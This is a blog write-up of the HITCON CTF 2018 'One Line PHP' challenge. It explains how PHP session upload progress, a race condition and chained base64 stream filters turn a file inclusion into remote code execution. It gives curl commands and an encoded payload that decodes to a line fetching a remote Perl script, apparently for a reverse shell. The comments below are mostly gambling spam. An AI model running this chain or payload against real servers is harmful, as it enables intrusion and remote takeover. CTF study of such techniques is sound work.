2018年10月24日 星期三

HITCON CTF 2018 - One Line PHP Challenge

In every year’s HITCON CTF, I will prepare at least one PHP exploit challenge which the source code is very straightforward, short and easy to review but hard to exploit! I have put all my challenges in this GitHub repo you can check, and here are some lists :P

This year, I designed another one and it's the shortest one among all my challenges - One Line PHP Challenge!(There is also another PHP code review challenges called Baby Cake may be you will be interested!) It's only 3 teams(among all 1816 teams)solve that during the competition. This challenge demonstrates how PHP can be squeezed. The initial idea is from @chtg57’s PHP bug report. Since session.upload_progress is default enabled in PHP so that you can control partial content in PHP SESSION files! Start from this feature, I designed this challenge!

The challenge is simple, just one line and tell you it is running under default installation of Ubuntu 18.04 + PHP7.2 + Apache. Here is whole the source code:


With the upload progress feature, although you can control the partial content in SESSION file, there are still several parts you need to defeat!

Inclusion Tragedy

In modern PHP configuration, the allow_url_include is always Off so the RFI(Remote file inclusion) is impossible, and due to the harden of new version’s Apache and PHP, it can not also include the common path in LFI exploiting such as /proc/self/environs or /var/log/apache2/access.log.

There is also no place can leak the PHP upload temporary filename so the LFI WITH PHPINFO() ASSISTANCE is also impossible :(

Session Tragedy

The PHP check the value session.auto_start or function session_start() to know whether it need to process session on current request or not. Unfortunately, the default value of session.auto_start is Off. However, it’s interesting that if you provide the PHP_SESSION_UPLOAD_PROGRESS in multipart POST data. The PHP will enable the session for you :P

$ curl -H 'Cookie: PHPSESSID=iamorange'
$ ls -a /var/lib/php/sessions/
. ..
$ curl -H 'Cookie: PHPSESSID=iamorange' -d 'PHP_SESSION_UPLOAD_PROGRESS=blahblahblah'
$ ls -a /var/lib/php/sessions/
. ..
$ curl -H 'Cookie: PHPSESSID=iamorange' -F 'PHP_SESSION_UPLOAD_PROGRESS=blahblahblah'  -F 'file=@/etc/passwd'
$ ls -a /var/lib/php/sessions/
. .. sess_iamorange

Cleanup Tragedy

Although most tutorials on the Internet recommends you to set session.upload_progress.cleanup to Off for debugging purpose. The default session.upload_progress.cleanup in PHP is still On. It means your upload progress in the session will be cleaned as soon as possible!

Here we use race condition to catch our data!
(Another idea is uploading a large file to keep the progress)

Prefix Tragedy

OK, now we can control some data in remote server, but the last tragedy is the prefix. Due to the default setting of session.upload_progress.prefix, our SESSION file will start with a annoying prefix upload_progress_! Such as:


In order to match the @<?php. Here we combine multiple PHP stream filter to bypass that annoying prefix. Such as:


In PHP, the base64 will ignore invalid characters. So we combine multiple convert.base64-decode filter to that, for the payload VVVSM0wyTkhhSGRKUjBKcVpGaEtjMGxIT1hsWlZ6VnVXbE0xTUdSNU9UTk1Na3BxVEc1Q2MyWklRbXhqYlhkblRGZEJOMUI2TkhaTWVUaDJUSGs0ZGt4NU9IWk1lVGgy. The SESSION file looks like:


P.s. We add ZZ as padding to fit the previous garbage

After the the first convert.base64-decode the payload will look like:


The second times, PHP will decode the hikYUU... as:

�) QDw/cGhwIGBjdXJsIG9yYW5nZS50dy93L2JjLnBsfHBlcmwgLWA7Pz4vLy8vLy8vLy8vLy8v

The third convert.base64-decode, it becomes to our shell payload:

@<?php `curl orange.tw/w/bc.pl|perl -`;?>/////////////

OK, by chaining above techniques(session upload progress + race condition + PHP wrappers), we can get the shell back!
Here is the final exploit!

16 則留言:

  1. Warning: file_get_contents(): stream filter (convert.base64-decode): invalid byte sequence in /home/...

    This ain't working for me.

    $ php --version
    PHP 7.2.10-0ubuntu0.18.04.1 (cli) (built: Sep 13 2018 13:45:02) ( NTS )

    1. Your base64-encoded payload should avoid "==".Because "==" in the base64-encode means end,that should not be any chars after "==" or get this error.

      XXXbase64-encodedXXXXX ok
      XXXbase64-encoded==XXX error

  2. can u post write up for version 2 in realworld ctf ?

    1. https://hackmd.io/s/rJlfZva0m here is the anticipated solution

  3. games that are immersive and will keep improving the game for you to play as well. If there are any questions or problems arise, you ทางเข้า PG SLOT
    can contact the admin 24 hours a day. pgslot888, the leading slot game website. Guaranteed by the best casino award ofสมัคร PGSLOT
    the year. Collect pg games for everyone. Members will have a unique experience.

  4. superslot เกมสล็อตออนไลน์ เว็บตรงที่ดีที่สุดมีเกมสล็อตที่แตกง่ายที่สุดให้ท่านได้เลือกเล่นมากมาย ทดลองเล่นสล็อต ทุกค่ายเกม
    อาทิ PG SLOT , EVOPLAY , SLOTXO , PRAGMATIC PLAY , JILI GAME , RELAX GAMING , DAFABET , JOKER เราชื่อเว็บสล็อตเว็บตรงที่ให้บริการไม่ผ่าน agent สมัครซุปเปอร์สล็อต

  5. สล็อตโจ๊กเกอร์ ไปสนุกกับเกมสล็อตออนไลน์ ไปพร้อมๆกับความสนุกจากเว็บ สล็อต เว็บสล็อตออนไลน์ที่มีมากกว่าเกมสล็อต
    ที่จะพาผู้เล่นไปพบกับความเป็นที่สุดของที่สุดในสายคาสิโน สามารถ ทดลองเล่นสล็อต ได้แล้ววันนี้ทั้งในระบบ Android และ iOS

  6. Give away every day, get free credit, pg168
    withdraw if someone is following, we know we have a lot of activities. Members do not have to deposit Thai baht.

  7. this was a very nice post. megagame 50รับ100 Spending some time and actual effort to produce a really good articleÖ but what can ซุปเปอร์สล็อต เครดิตฟรี I sayÖ I put things off a whole lot and don’t seem to get anything done.โปรโมชั่นสล็อต100%

  8. The next time I read a blog, I hope that it doesn't disappoint me as much as this one. I mean, I know it was my choice to read, but I actually thought you have something interesting to say. All I hear is a bunch of whining about something that you could fix if you weren't too busy looking for attention.

  9. Glad to chat your blog, I seem to be forward to more reliable articles and I think we all wish to thank so many good articles, blog to share with us.

  10. I’m excited to uncover this page. I need to to thank you for ones time for this particularly fantastic read !! I definitely really liked every part of it and i also have you saved to fav to look at new information in your site.

  11. Thanks for sharing great information. Your website is very nice. The details on this blog are very impressive.

  12. รับโปรโมชั่นสูงสุดทีเด็ดแทงบอล